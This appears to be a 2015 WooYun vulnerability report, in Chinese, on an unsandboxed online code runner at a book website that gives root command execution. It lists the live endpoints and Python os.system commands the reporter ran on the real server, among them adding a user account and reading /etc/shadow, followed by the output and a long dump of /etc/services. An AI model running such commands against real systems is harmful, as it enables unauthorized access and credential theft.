当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0158915

漏洞标题：书村网在线代码运行功能配置不当可进行命令执行

相关厂商：书村网

漏洞作者： 岛云首席鉴黄师

提交时间：2015-12-07 22:26

修复时间：2016-01-21 18:22

公开时间：2016-01-21 18:22

漏洞类型：未授权访问/权限绕过

危害等级：高

自评Rank：20

漏洞状态：未联系到厂商或者厂商积极忽略

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-12-07： 积极联系厂商并且等待厂商认领中，细节不对外公开
2016-01-21： 厂商已经主动忽略漏洞，细节向公众公开

简要描述：

不容小觑啊

详细说明：

http://www.mcqyy.com/RunCode/php
http://www.mcqyy.com/RunCode/php5.4/
http://www.mcqyy.com/RunCode/php5.6/
http://www.mcqyy.com/RunCode/python/
http://www.mcqyy.com/RunCode/python3/


在运行PHP和Python的时候并没有做权限界定，导致php和python权限过大可以执行系统命令
Python运行

import os
os.system('uname -a')
os.system('id')
os.system('useradd syst')
os.system('cat /etc/shadow')
os.system('ls /etc/ -alh')
os.system('cat /etc/services')


1.png


Linux 9f6a88efd08f 3.13.0-32-generic #57-Ubuntu SMP Tue Jul 15 03:51:08 UTC 2014 x86_64 GNU/Linux
uid=0(root) gid=0(root) groups=0(root)
root:*:16553:0:99999:7:::
daemon:*:16553:0:99999:7:::
bin:*:16553:0:99999:7:::
sys:*:16553:0:99999:7:::
sync:*:16553:0:99999:7:::
games:*:16553:0:99999:7:::
man:*:16553:0:99999:7:::
lp:*:16553:0:99999:7:::
mail:*:16553:0:99999:7:::
news:*:16553:0:99999:7:::
uucp:*:16553:0:99999:7:::
proxy:*:16553:0:99999:7:::
www-data:*:16553:0:99999:7:::
backup:*:16553:0:99999:7:::
list:*:16553:0:99999:7:::
irc:*:16553:0:99999:7:::
gnats:*:16553:0:99999:7:::
nobody:*:16553:0:99999:7:::
systemd-timesync:*:16553:0:99999:7:::
systemd-network:*:16553:0:99999:7:::
systemd-resolve:*:16553:0:99999:7:::
systemd-bus-proxy:*:16553:0:99999:7:::
syst:!:16775:0:99999:7:::
total 484K
drwxr-xr-x 54 root root   4.0K Dec  6 12:41 .
drwxr-xr-x 44 root root   4.0K Dec  6 12:41 ..
-rw-------  1 root root      0 Apr 28  2015 .pwd.lock
-rw-r--r--  1 root root   3.0K Apr 28  2015 adduser.conf
drwxr-xr-x  2 root root   4.0K Oct 21 03:17 alternatives
drwxr-xr-x  6 root root   4.0K Apr 28  2015 apt
-rw-r--r--  1 root root   1.9K Nov 12  2014 bash.bashrc
drwxr-xr-x  2 root root   4.0K Apr 28  2015 bash_completion.d
-rw-r--r--  1 root root    367 May 18  2014 bindresvport.blacklist
drwxr-xr-x  2 root root   4.0K Apr 16  2015 binfmt.d
drwxr-xr-x  3 root root   4.0K Oct 21 03:17 ca-certificates
-rw-r--r--  1 root root   7.6K Oct 21 03:17 ca-certificates.conf
drwxr-xr-x  2 root root   4.0K Apr 28  2015 cron.daily
drwxr-xr-x  3 root root   4.0K Apr 16  2015 dbus-1
-rw-r--r--  1 root root   2.9K Mar 19  2015 debconf.conf
-rw-r--r--  1 root root      4 Nov 30  2014 debian_version
drwxr-xr-x  2 root root   4.0K Apr 28  2015 default
-rw-r--r--  1 root root    604 May 15  2012 deluser.conf
drwxr-xr-x  4 root root   4.0K Oct 21 03:17 dpkg
-rw-r--r--  1 root root      0 Apr 28  2015 environment
-rw-r--r--  1 root root     37 Apr 28  2015 fstab
-rw-r--r--  1 root root   2.6K Feb  7  2014 gai.conf
-rw-r--r--  1 root root    590 Dec  6 12:41 group
-rw-------  1 root root    577 Apr 28  2015 group-
-rw-r-----  1 root shadow  496 Dec  6 12:41 gshadow
-rw-------  1 root root    487 Apr 28  2015 gshadow-
-rw-r--r--  1 root root      9 Aug  7  2006 host.conf
-rw-r--r--  1 root root     13 Dec  6 12:41 hostname
-rw-r--r--  1 root root    175 Dec  6 12:41 hosts
drwxr-xr-x  2 root root   4.0K Apr 28  2015 init
drwxr-xr-x  2 root root   4.0K Apr 28  2015 init.d
-rw-r--r--  1 root root   1.8K Aug  3  2014 inputrc
drwxr-xr-x  3 root root   4.0K Nov 23  2012 insserv
-rw-r--r--  1 root root    859 Nov 23  2012 insserv.conf
drwxr-xr-x  2 root root   4.0K Nov 23  2012 insserv.conf.d
drwxr-xr-x  2 root root   4.0K Apr 28  2015 iproute2
-rw-r--r--  1 root root     26 Nov 30  2014 issue
-rw-r--r--  1 root root     19 Nov 30  2014 issue.net
drwxr-xr-x  3 root root   4.0K Apr 28  2015 kernel
-rw-r--r--  1 root root    12K Oct 21 03:24 ld.so.cache
-rw-r--r--  1 root root     34 Jun 17  2014 ld.so.conf
drwxr-xr-x  2 root root   4.0K Oct 21 03:17 ld.so.conf.d
-rw-r--r--  1 root root    191 Sep  7  2014 libaudit.conf
-rw-r--r--  1 root root    118 Apr 28  2015 localtime
-rw-r--r--  1 root root    11K Nov 20  2014 login.defs
drwxr-xr-x  2 root root   4.0K Apr 28  2015 logrotate.d
-r--r--r--  1 root root     33 Apr 28  2015 machine-id
-rw-r--r--  1 root root    111 Mar 10  2015 magic
-rw-r--r--  1 root root    111 Mar 10  2015 magic.mime
-rw-r--r--  1 root root   1.6K May  7  2015 mailcap
-rw-r--r--  1 root root    449 Dec 28  2014 mailcap.order
-rw-r--r--  1 root root    24K Dec 28  2014 mime.types
-rw-r--r--  1 root root    956 Feb 25  2015 mke2fs.conf
drwxr-xr-x  2 root root   4.0K Apr 28  2015 modprobe.d
drwxr-xr-x  2 root root   4.0K Apr 28  2015 modules-load.d
-rw-r--r--  1 root root    286 Nov 30  2014 motd
lrwxrwxrwx  1 root root     12 Dec  6 12:41 mtab -> /proc/mounts
drwxr-xr-x  3 root root   4.0K Oct 21 03:24 mysql
drwxr-xr-x  3 root root   4.0K Apr  6  2015 network
-rw-r--r--  1 root root     60 Apr 28  2015 networks
-rw-r--r--  1 root root    497 May  4  2014 nsswitch.conf
drwxr-xr-x  2 root root   4.0K Apr 28  2015 opt
lrwxrwxrwx  1 root root     21 Nov 30  2014 os-release -> ../usr/lib/os-release
-rw-r--r--  1 root root    552 Aug  9  2014 pam.conf
drwxr-xr-x  2 root root   4.0K Apr 28  2015 pam.d
-rw-r--r--  1 root root   1.3K Dec  6 12:41 passwd
-rw-------  1 root root   1.2K Apr 28  2015 passwd-
drwxr-xr-x  4 root root   4.0K Oct 21 03:17 perl
-rw-r--r--  1 root root    761 Oct 22  2014 profile
drwxr-xr-x  2 root root   4.0K Nov 30  2014 profile.d
-rw-r--r--  1 root root   2.9K Oct 21  2014 protocols
drwxr-xr-x  2 root root   4.0K May  7  2015 python
drwxr-xr-x  2 root root   4.0K May  7  2015 python2.7
drwxr-xr-x  2 root root   4.0K May  7  2015 python3
drwxr-xr-x  2 root root   4.0K May  7  2015 python3.4
-rwxr-xr-x  1 root root    306 Apr 28  2015 rc.local
drwxr-xr-x  2 root root   4.0K Apr 28  2015 rc0.d
drwxr-xr-x  2 root root   4.0K Apr 28  2015 rc1.d
drwxr-xr-x  2 root root   4.0K Apr 28  2015 rc2.d
drwxr-xr-x  2 root root   4.0K Apr 28  2015 rc3.d
drwxr-xr-x  2 root root   4.0K Apr 28  2015 rc4.d
drwxr-xr-x  2 root root   4.0K Apr 28  2015 rc5.d
drwxr-xr-x  2 root root   4.0K Apr 28  2015 rc6.d
drwxr-xr-x  2 root root   4.0K Apr 28  2015 rcS.d
-rw-r--r--  1 root root    237 Dec  6 12:41 resolv.conf
-rwxr-xr-x  1 root root    268 Nov  8  2014 rmt
-rw-r--r--  1 root root    887 Oct 21  2014 rpc
-rw-r--r--  1 root root   4.0K Nov 20  2014 securetty
drwxr-xr-x  4 root root   4.0K Apr 28  2015 security
drwxr-xr-x  2 root root   4.0K Apr 28  2015 selinux
-rw-r--r--  1 root root    20K Oct 21  2014 services
drwxr-xr-x  2 root root   4.0K Oct 21 03:19 sgml
-rw-r-----  1 root shadow  652 Dec  6 12:41 shadow
-rw-------  1 root root    626 Apr 28  2015 shadow-
-rw-r--r--  1 root root     73 Apr 28  2015 shells
drwxr-xr-x  2 root root   4.0K Apr 28  2015 skel
drwxr-xr-x  4 root root   4.0K Oct 21 03:17 ssl
-rw-r--r--  1 root root    771 Jun  9  2012 staff-group-for-usr-local
-rw-r--r--  1 root root    137 Dec  6 12:41 subgid
-rw-------  1 root root    119 Apr 28  2015 subgid-
-rw-r--r--  1 root root    137 Dec  6 12:41 subuid
-rw-------  1 root root    119 Apr 28  2015 subuid-
-rw-r--r--  1 root root   2.1K Mar  6  2015 sysctl.conf
drwxr-xr-x  2 root root   4.0K Apr 28  2015 sysctl.d
drwxr-xr-x  6 root root   4.0K Apr 28  2015 systemd
drwxr-xr-x  2 root root   4.0K Apr 28  2015 terminfo
-rw-r--r--  1 root root      8 Apr 28  2015 timezone
drwxr-xr-x  2 root root   4.0K Apr 16  2015 tmpfiles.d
drwxr-xr-x  4 root root   4.0K Apr 28  2015 udev
drwxr-xr-x  3 root root   4.0K Apr 16  2015 xdg
drwxr-xr-x  2 root root   4.0K Oct 21 03:19 xml
# Network services, Internet style
#
# Note that it is presently the policy of IANA to assign a single well-known
# port number for both TCP and UDP; hence, officially ports have two entries
# even if the protocol doesn't support UDP operations.
#
# Updated from http://www.iana.org/assignments/port-numbers and other
# sources like http://www.freebsd.org/cgi/cvsweb.cgi/src/etc/services .
# New ports will be added on request if they have been officially assigned
# by IANA and used in the real-world or are needed by a debian package.
# If you need a huge list of used numbers please install the nmap package.
tcpmux		1/tcp				# TCP port service multiplexer
echo		7/tcp
echo		7/udp
discard		9/tcp		sink null
discard		9/udp		sink null
systat		11/tcp		users
daytime		13/tcp
daytime		13/udp
netstat		15/tcp
qotd		17/tcp		quote
msp		18/tcp				# message send protocol
msp		18/udp
chargen		19/tcp		ttytst source
chargen		19/udp		ttytst source
ftp-data	20/tcp
ftp		21/tcp
fsp		21/udp		fspd
ssh		22/tcp				# SSH Remote Login Protocol
ssh		22/udp
telnet		23/tcp
smtp		25/tcp		mail
time		37/tcp		timserver
time		37/udp		timserver
rlp		39/udp		resource	# resource location
nameserver	42/tcp		name		# IEN 116
whois		43/tcp		nicname
tacacs		49/tcp				# Login Host Protocol (TACACS)
tacacs		49/udp
re-mail-ck	50/tcp				# Remote Mail Checking Protocol
re-mail-ck	50/udp
domain		53/tcp				# Domain Name Server
domain		53/udp
mtp		57/tcp				# deprecated
tacacs-ds	65/tcp				# TACACS-Database Service
tacacs-ds	65/udp
bootps		67/tcp				# BOOTP server
bootps		67/udp
bootpc		68/tcp				# BOOTP client
bootpc		68/udp
tftp		69/udp
gopher		70/tcp				# Internet Gopher
gopher		70/udp
rje		77/tcp		netrjs
finger		79/tcp
http		80/tcp		www		# WorldWideWeb HTTP
http		80/udp				# HyperText Transfer Protocol
link		87/tcp		ttylink
kerberos	88/tcp		kerberos5 krb5 kerberos-sec	# Kerberos v5
kerberos	88/udp		kerberos5 krb5 kerberos-sec	# Kerberos v5
supdup		95/tcp
hostnames	101/tcp		hostname	# usually from sri-nic
iso-tsap	102/tcp		tsap		# part of ISODE
acr-nema	104/tcp		dicom		# Digital Imag. & Comm. 300
acr-nema	104/udp		dicom
csnet-ns	105/tcp		cso-ns		# also used by CSO name server
csnet-ns	105/udp		cso-ns
rtelnet		107/tcp				# Remote Telnet
rtelnet		107/udp
pop2		109/tcp		postoffice pop-2 # POP version 2
pop2		109/udp		pop-2
pop3		110/tcp		pop-3		# POP version 3
pop3		110/udp		pop-3
sunrpc		111/tcp		portmapper	# RPC 4.0 portmapper
sunrpc		111/udp		portmapper
auth		113/tcp		authentication tap ident
sftp		115/tcp
uucp-path	117/tcp
nntp		119/tcp		readnews untp	# USENET News Transfer Protocol
ntp		123/tcp
ntp		123/udp				# Network Time Protocol
pwdgen		129/tcp				# PWDGEN service
pwdgen		129/udp
loc-srv		135/tcp		epmap		# Location Service
loc-srv		135/udp		epmap
netbios-ns	137/tcp				# NETBIOS Name Service
netbios-ns	137/udp
netbios-dgm	138/tcp				# NETBIOS Datagram Service
netbios-dgm	138/udp
netbios-ssn	139/tcp				# NETBIOS session service
netbios-ssn	139/udp
imap2		143/tcp		imap		# Interim Mail Access P 2 and 4
imap2		143/udp		imap
snmp		161/tcp				# Simple Net Mgmt Protocol
snmp		161/udp
snmp-trap	162/tcp		snmptrap	# Traps for SNMP
snmp-trap	162/udp		snmptrap
cmip-man	163/tcp				# ISO mgmt over IP (CMOT)
cmip-man	163/udp
cmip-agent	164/tcp
cmip-agent	164/udp
mailq		174/tcp			# Mailer transport queue for Zmailer
mailq		174/udp
xdmcp		177/tcp				# X Display Mgr. Control Proto
xdmcp		177/udp
nextstep	178/tcp		NeXTStep NextStep	# NeXTStep window
nextstep	178/udp		NeXTStep NextStep	#  server
bgp		179/tcp				# Border Gateway Protocol
bgp		179/udp
prospero	191/tcp				# Cliff Neuman's Prospero
prospero	191/udp
irc		194/tcp				# Internet Relay Chat
irc		194/udp
smux		199/tcp				# SNMP Unix Multiplexer
smux		199/udp
at-rtmp		201/tcp				# AppleTalk routing
at-rtmp		201/udp
at-nbp		202/tcp				# AppleTalk name binding
at-nbp		202/udp
at-echo		204/tcp				# AppleTalk echo
at-echo		204/udp
at-zis		206/tcp				# AppleTalk zone information
at-zis		206/udp
qmtp		209/tcp				# Quick Mail Transfer Protocol
qmtp		209/udp
z3950		210/tcp		wais		# NISO Z39.50 database
z3950		210/udp		wais
ipx		213/tcp				# IPX
ipx		213/udp
imap3		220/tcp				# Interactive Mail Access
imap3		220/udp				# Protocol v3
pawserv		345/tcp				# Perf Analysis Workbench
pawserv		345/udp
zserv		346/tcp				# Zebra server
zserv		346/udp
fatserv		347/tcp				# Fatmen Server
fatserv		347/udp
rpc2portmap	369/tcp
rpc2portmap	369/udp				# Coda portmapper
codaauth2	370/tcp
codaauth2	370/udp				# Coda authentication server
clearcase	371/tcp		Clearcase
clearcase	371/udp		Clearcase
ulistserv	372/tcp				# UNIX Listserv
ulistserv	372/udp
ldap		389/tcp			# Lightweight Directory Access Protocol
ldap		389/udp
imsp		406/tcp			# Interactive Mail Support Protocol
imsp		406/udp
svrloc		427/tcp				# Server Location
svrloc		427/udp
https		443/tcp				# http protocol over TLS/SSL
https		443/udp
snpp		444/tcp				# Simple Network Paging Protocol
snpp		444/udp
microsoft-ds	445/tcp				# Microsoft Naked CIFS
microsoft-ds	445/udp
kpasswd		464/tcp
kpasswd		464/udp
urd		465/tcp		ssmtp smtps  # URL Rendesvous Directory for SSM
saft		487/tcp			# Simple Asynchronous File Transfer
saft		487/udp
isakmp		500/tcp			# IPsec - Internet Security Association
isakmp		500/udp			#  and Key Management Protocol
rtsp		554/tcp			# Real Time Stream Control Protocol
rtsp		554/udp
nqs		607/tcp				# Network Queuing system
nqs		607/udp
npmp-local	610/tcp		dqs313_qmaster		# npmp-local / DQS
npmp-local	610/udp		dqs313_qmaster
npmp-gui	611/tcp		dqs313_execd		# npmp-gui / DQS
npmp-gui	611/udp		dqs313_execd
hmmp-ind	612/tcp		dqs313_intercell	# HMMP Indication / DQS
hmmp-ind	612/udp		dqs313_intercell
asf-rmcp	623/udp		# ASF Remote Management and Control Protocol
qmqp		628/tcp
qmqp		628/udp
ipp		631/tcp				# Internet Printing Protocol
ipp		631/udp
#
# UNIX specific services
#
exec		512/tcp
biff		512/udp		comsat
login		513/tcp
who		513/udp		whod
shell		514/tcp		cmd		# no passwords used
syslog		514/udp
printer		515/tcp		spooler		# line printer spooler
talk		517/udp
ntalk		518/udp
route		520/udp		router routed	# RIP
timed		525/udp		timeserver
tempo		526/tcp		newdate
courier		530/tcp		rpc
conference	531/tcp		chat
netnews		532/tcp		readnews
netwall		533/udp				# for emergency broadcasts
gdomap		538/tcp				# GNUstep distributed objects
gdomap		538/udp
uucp		540/tcp		uucpd		# uucp daemon
klogin		543/tcp				# Kerberized `rlogin' (v5)
kshell		544/tcp		krcmd		# Kerberized `rsh' (v5)
dhcpv6-client	546/tcp
dhcpv6-client	546/udp
dhcpv6-server	547/tcp
dhcpv6-server	547/udp
afpovertcp	548/tcp				# AFP over TCP
afpovertcp	548/udp
idfp		549/tcp
idfp		549/udp
remotefs	556/tcp		rfs_server rfs	# Brunhoff remote filesystem
nntps		563/tcp		snntp		# NNTP over SSL
nntps		563/udp		snntp
submission	587/tcp				# Submission [RFC4409]
submission	587/udp
ldaps		636/tcp				# LDAP over SSL
ldaps		636/udp
tinc		655/tcp				# tinc control port
tinc		655/udp
silc		706/tcp
silc		706/udp
kerberos-adm	749/tcp				# Kerberos `kadmin' (v5)
#
webster		765/tcp				# Network dictionary
webster		765/udp
rsync		873/tcp
rsync		873/udp
ftps-data	989/tcp				# FTP over SSL (data)
ftps		990/tcp
telnets		992/tcp				# Telnet over SSL
telnets		992/udp
imaps		993/tcp				# IMAP over SSL
imaps		993/udp
ircs		994/tcp				# IRC over SSL
ircs		994/udp
pop3s		995/tcp				# POP-3 over SSL
pop3s		995/udp
#
# From ``Assigned Numbers'':
#
#> The Registered Ports are not controlled by the IANA and on most systems
#> can be used by ordinary user processes or programs executed by ordinary
#> users.
#
#> Ports are used in the TCP [45,106] to name the ends of logical
#> connections which carry long term conversations.  For the purpose of
#> providing services to unknown callers, a service contact port is
#> defined.  This list specifies the port used by the server process as its
#> contact port.  While the IANA can not control uses of these ports it
#> does register or list uses of these ports as a convienence to the
#> community.
#
socks		1080/tcp			# socks proxy server
socks		1080/udp
proofd		1093/tcp
proofd		1093/udp
rootd		1094/tcp
rootd		1094/udp
openvpn		1194/tcp
openvpn		1194/udp
rmiregistry	1099/tcp			# Java RMI Registry
rmiregistry	1099/udp
kazaa		1214/tcp
kazaa		1214/udp
nessus		1241/tcp			# Nessus vulnerability
nessus		1241/udp			#  assessment scanner
lotusnote	1352/tcp	lotusnotes	# Lotus Note
lotusnote	1352/udp	lotusnotes
ms-sql-s	1433/tcp			# Microsoft SQL Server
ms-sql-s	1433/udp
ms-sql-m	1434/tcp			# Microsoft SQL Monitor
ms-sql-m	1434/udp
ingreslock	1524/tcp
ingreslock	1524/udp
prospero-np	1525/tcp			# Prospero non-privileged
prospero-np	1525/udp
datametrics	1645/tcp	old-radius
datametrics	1645/udp	old-radius
sa-msg-port	1646/tcp	old-radacct
sa-msg-port	1646/udp	old-radacct
kermit		1649/tcp
kermit		1649/udp
groupwise	1677/tcp
groupwise	1677/udp
l2f		1701/tcp	l2tp
l2f		1701/udp	l2tp
radius		1812/tcp
radius		1812/udp
radius-acct	1813/tcp	radacct		# Radius Accounting
radius-acct	1813/udp	radacct
msnp		1863/tcp			# MSN Messenger
msnp		1863/udp
unix-status	1957/tcp			# remstats unix-status server
log-server	1958/tcp			# remstats log server
remoteping	1959/tcp			# remstats remoteping server
cisco-sccp	2000/tcp			# Cisco SCCP
cisco-sccp	2000/udp
search		2010/tcp	ndtp
pipe-server	2010/tcp	pipe_server
nfs		2049/tcp			# Network File System
nfs		2049/udp			# Network File System
gnunet		2086/tcp
gnunet		2086/udp
rtcm-sc104	2101/tcp			# RTCM SC-104 IANA 1/29/99
rtcm-sc104	2101/udp
gsigatekeeper	2119/tcp
gsigatekeeper	2119/udp
gris		2135/tcp		# Grid Resource Information Server
gris		2135/udp
cvspserver	2401/tcp			# CVS client/server operations
cvspserver	2401/udp
venus		2430/tcp			# codacon port
venus		2430/udp			# Venus callback/wbc interface
venus-se	2431/tcp			# tcp side effects
venus-se	2431/udp			# udp sftp side effect
codasrv		2432/tcp			# not used
codasrv		2432/udp			# server port
codasrv-se	2433/tcp			# tcp side effects
codasrv-se	2433/udp			# udp sftp side effect
mon		2583/tcp			# MON traps
mon		2583/udp
dict		2628/tcp			# Dictionary server
dict		2628/udp
f5-globalsite	2792/tcp
f5-globalsite	2792/udp
gsiftp		2811/tcp
gsiftp		2811/udp
gpsd		2947/tcp
gpsd		2947/udp
gds-db		3050/tcp	gds_db		# InterBase server
gds-db		3050/udp	gds_db
icpv2		3130/tcp	icp		# Internet Cache Protocol
icpv2		3130/udp	icp
iscsi-target	3260/tcp
mysql		3306/tcp
mysql		3306/udp
nut		3493/tcp			# Network UPS Tools
nut		3493/udp
distcc		3632/tcp			# distributed compiler
distcc		3632/udp
daap		3689/tcp			# Digital Audio Access Protocol
daap		3689/udp
svn		3690/tcp	subversion	# Subversion protocol
svn		3690/udp	subversion
suucp		4031/tcp			# UUCP over SSL
suucp		4031/udp
sysrqd		4094/tcp			# sysrq daemon
sysrqd		4094/udp
sieve		4190/tcp			# ManageSieve Protocol
epmd		4369/tcp			# Erlang Port Mapper Daemon
epmd		4369/udp
remctl		4373/tcp		# Remote Authenticated Command Service
remctl		4373/udp
f5-iquery	4353/tcp			# F5 iQuery
f5-iquery	4353/udp
ipsec-nat-t	4500/udp			# IPsec NAT-Traversal [RFC3947]
iax		4569/tcp			# Inter-Asterisk eXchange
iax		4569/udp
mtn		4691/tcp			# monotone Netsync Protocol
mtn		4691/udp
radmin-port	4899/tcp			# RAdmin Port
radmin-port	4899/udp
rfe		5002/udp			# Radio Free Ethernet
rfe		5002/tcp
mmcc		5050/tcp	# multimedia conference control tool (Yahoo IM)
mmcc		5050/udp
sip		5060/tcp			# Session Initiation Protocol
sip		5060/udp
sip-tls		5061/tcp
sip-tls		5061/udp
aol		5190/tcp			# AIM
aol		5190/udp
xmpp-client	5222/tcp	jabber-client	# Jabber Client Connection
xmpp-client	5222/udp	jabber-client
xmpp-server	5269/tcp	jabber-server	# Jabber Server Connection
xmpp-server	5269/udp	jabber-server
cfengine	5308/tcp
cfengine	5308/udp
mdns		5353/tcp			# Multicast DNS
mdns		5353/udp
postgresql	5432/tcp	postgres	# PostgreSQL Database
postgresql	5432/udp	postgres
freeciv		5556/tcp	rptp		# Freeciv gameplay
freeciv		5556/udp
amqps		5671/tcp			# AMQP protocol over TLS/SSL
amqp		5672/tcp
amqp		5672/udp
amqp		5672/sctp
ggz		5688/tcp			# GGZ Gaming Zone
ggz		5688/udp
x11		6000/tcp	x11-0		# X Window System
x11		6000/udp	x11-0
x11-1		6001/tcp
x11-1		6001/udp
x11-2		6002/tcp
x11-2		6002/udp
x11-3		6003/tcp
x11-3		6003/udp
x11-4		6004/tcp
x11-4		6004/udp
x11-5		6005/tcp
x11-5		6005/udp
x11-6		6006/tcp
x11-6		6006/udp
x11-7		6007/tcp
x11-7		6007/udp
gnutella-svc	6346/tcp			# gnutella
gnutella-svc	6346/udp
gnutella-rtr	6347/tcp			# gnutella
gnutella-rtr	6347/udp
sge-qmaster	6444/tcp	sge_qmaster	# Grid Engine Qmaster Service
sge-qmaster	6444/udp	sge_qmaster
sge-execd	6445/tcp	sge_execd	# Grid Engine Execution Service
sge-execd	6445/udp	sge_execd
mysql-proxy	6446/tcp			# MySQL Proxy
mysql-proxy	6446/udp
afs3-fileserver 7000/tcp	bbs		# file server itself
afs3-fileserver 7000/udp	bbs
afs3-callback	7001/tcp			# callbacks to cache managers
afs3-callback	7001/udp
afs3-prserver	7002/tcp			# users & groups database
afs3-prserver	7002/udp
afs3-vlserver	7003/tcp			# volume location database
afs3-vlserver	7003/udp
afs3-kaserver	7004/tcp			# AFS/Kerberos authentication
afs3-kaserver	7004/udp
afs3-volser	7005/tcp			# volume managment server
afs3-volser	7005/udp
afs3-errors	7006/tcp			# error interpretation service
afs3-errors	7006/udp
afs3-bos	7007/tcp			# basic overseer process
afs3-bos	7007/udp
afs3-update	7008/tcp			# server-to-server updater
afs3-update	7008/udp
afs3-rmtsys	7009/tcp			# remote cache manager service
afs3-rmtsys	7009/udp
font-service	7100/tcp	xfs		# X Font Service
font-service	7100/udp	xfs
http-alt	8080/tcp	webcache	# WWW caching service
http-alt	8080/udp
bacula-dir	9101/tcp			# Bacula Director
bacula-dir	9101/udp
bacula-fd	9102/tcp			# Bacula File Daemon
bacula-fd	9102/udp
bacula-sd	9103/tcp			# Bacula Storage Daemon
bacula-sd	9103/udp
xmms2		9667/tcp	# Cross-platform Music Multiplexing System
xmms2		9667/udp
nbd		10809/tcp			# Linux Network Block Device
zabbix-agent	10050/tcp			# Zabbix Agent
zabbix-agent	10050/udp
zabbix-trapper	10051/tcp			# Zabbix Trapper
zabbix-trapper	10051/udp
amanda		10080/tcp			# amanda backup services
amanda		10080/udp
dicom		11112/tcp
hkp		11371/tcp			# OpenPGP HTTP Keyserver
hkp		11371/udp
bprd		13720/tcp			# VERITAS NetBackup
bprd		13720/udp
bpdbm		13721/tcp			# VERITAS NetBackup
bpdbm		13721/udp
bpjava-msvc	13722/tcp			# BP Java MSVC Protocol
bpjava-msvc	13722/udp
vnetd		13724/tcp			# Veritas Network Utility
vnetd		13724/udp
bpcd		13782/tcp			# VERITAS NetBackup
bpcd		13782/udp
vopied		13783/tcp			# VERITAS NetBackup
vopied		13783/udp
db-lsp		17500/tcp			# Dropbox LanSync Protocol
dcap		22125/tcp			# dCache Access Protocol
gsidcap		22128/tcp			# GSI dCache Access Protocol
wnn6		22273/tcp			# wnn6
wnn6		22273/udp
#
# Datagram Delivery Protocol services
#
rtmp		1/ddp			# Routing Table Maintenance Protocol
nbp		2/ddp			# Name Binding Protocol
echo		4/ddp			# AppleTalk Echo Protocol
zip		6/ddp			# Zone Information Protocol
#=========================================================================
# The remaining port numbers are not as allocated by IANA.
#=========================================================================
# Kerberos (Project Athena/MIT) services
# Note that these are for Kerberos v4, and are unofficial.  Sites running
# v4 should uncomment these and comment out the v5 entries above.
#
kerberos4	750/udp		kerberos-iv kdc	# Kerberos (server)
kerberos4	750/tcp		kerberos-iv kdc
kerberos-master	751/udp		kerberos_master	# Kerberos authentication
kerberos-master	751/tcp
passwd-server	752/udp		passwd_server	# Kerberos passwd server
krb-prop	754/tcp		krb_prop krb5_prop hprop # Kerberos slave propagation
krbupdate	760/tcp		kreg		# Kerberos registration
swat		901/tcp				# swat
kpop		1109/tcp			# Pop with Kerberos
knetd		2053/tcp			# Kerberos de-multiplexor
zephyr-srv	2102/udp			# Zephyr server
zephyr-clt	2103/udp			# Zephyr serv-hm connection
zephyr-hm	2104/udp			# Zephyr hostmanager
eklogin		2105/tcp			# Kerberos encrypted rlogin
# Hmmm. Are we using Kv4 or Kv5 now? Worrying.
# The following is probably Kerberos v5  --- ajt@debian.org (11/02/2000)
kx		2111/tcp			# X over Kerberos
iprop		2121/tcp			# incremental propagation
#
# Unofficial but necessary (for NetBSD) services
#
supfilesrv	871/tcp				# SUP server
supfiledbg	1127/tcp			# SUP debugging
#
# Services added for the Debian GNU/Linux distribution
#
linuxconf	98/tcp				# LinuxConf
poppassd	106/tcp				# Eudora
poppassd	106/udp
moira-db	775/tcp		moira_db	# Moira database
moira-update	777/tcp		moira_update	# Moira update protocol
moira-ureg	779/udp		moira_ureg	# Moira user registration
spamd		783/tcp				# spamassassin daemon
omirr		808/tcp		omirrd		# online mirror
omirr		808/udp		omirrd
customs		1001/tcp			# pmake customs server
customs		1001/udp
skkserv		1178/tcp			# skk jisho server port
predict		1210/udp			# predict -- satellite tracking
rmtcfg		1236/tcp			# Gracilis Packeten remote config server
wipld		1300/tcp			# Wipl network monitor
xtel		1313/tcp			# french minitel
xtelw		1314/tcp			# french minitel
support		1529/tcp			# GNATS
cfinger		2003/tcp			# GNU Finger
frox		2121/tcp			# frox: caching ftp proxy
ninstall	2150/tcp			# ninstall service
ninstall	2150/udp
zebrasrv	2600/tcp			# zebra service
zebra		2601/tcp			# zebra vty
ripd		2602/tcp			# ripd vty (zebra)
ripngd		2603/tcp			# ripngd vty (zebra)
ospfd		2604/tcp			# ospfd vty (zebra)
bgpd		2605/tcp			# bgpd vty (zebra)
ospf6d		2606/tcp			# ospf6d vty (zebra)
ospfapi		2607/tcp			# OSPF-API
isisd		2608/tcp			# ISISd vty (zebra)
afbackup	2988/tcp			# Afbackup system
afbackup	2988/udp
afmbackup	2989/tcp			# Afmbackup system
afmbackup	2989/udp
xtell		4224/tcp			# xtell server
fax		4557/tcp			# FAX transmission service (old)
hylafax		4559/tcp			# HylaFAX client-server protocol (new)
distmp3		4600/tcp			# distmp3host daemon
munin		4949/tcp	lrrd		# Munin
enbd-cstatd	5051/tcp			# ENBD client statd
enbd-sstatd	5052/tcp			# ENBD server statd
pcrd		5151/tcp			# PCR-1000 Daemon
noclog		5354/tcp			# noclogd with TCP (nocol)
noclog		5354/udp			# noclogd with UDP (nocol)
hostmon		5355/tcp			# hostmon uses TCP (nocol)
hostmon		5355/udp			# hostmon uses UDP (nocol)
rplay		5555/udp			# RPlay audio service
nrpe		5666/tcp			# Nagios Remote Plugin Executor
nsca		5667/tcp			# Nagios Agent - NSCA
mrtd		5674/tcp			# MRT Routing Daemon
bgpsim		5675/tcp			# MRT Routing Simulator
canna		5680/tcp			# cannaserver
syslog-tls	6514/tcp			# Syslog over TLS [RFC5425]
sane-port	6566/tcp	sane saned	# SANE network scanner daemon
ircd		6667/tcp			# Internet Relay Chat
zope-ftp	8021/tcp			# zope management by ftp
tproxy		8081/tcp			# Transparent Proxy
omniorb		8088/tcp			# OmniORB
omniorb		8088/udp
clc-build-daemon 8990/tcp			# Common lisp build daemon
xinetd		9098/tcp
mandelspawn	9359/udp	mandelbrot	# network mandelbrot
git		9418/tcp			# Git Version Control System
zope		9673/tcp			# zope server
webmin		10000/tcp
kamanda		10081/tcp			# amanda backup services (Kerberos)
kamanda		10081/udp
amandaidx	10082/tcp			# amanda backup services
amidxtape	10083/tcp			# amanda backup services
smsqp		11201/tcp			# Alamin SMS gateway
smsqp		11201/udp
xpilot		15345/tcp			# XPilot Contact Port
xpilot		15345/udp
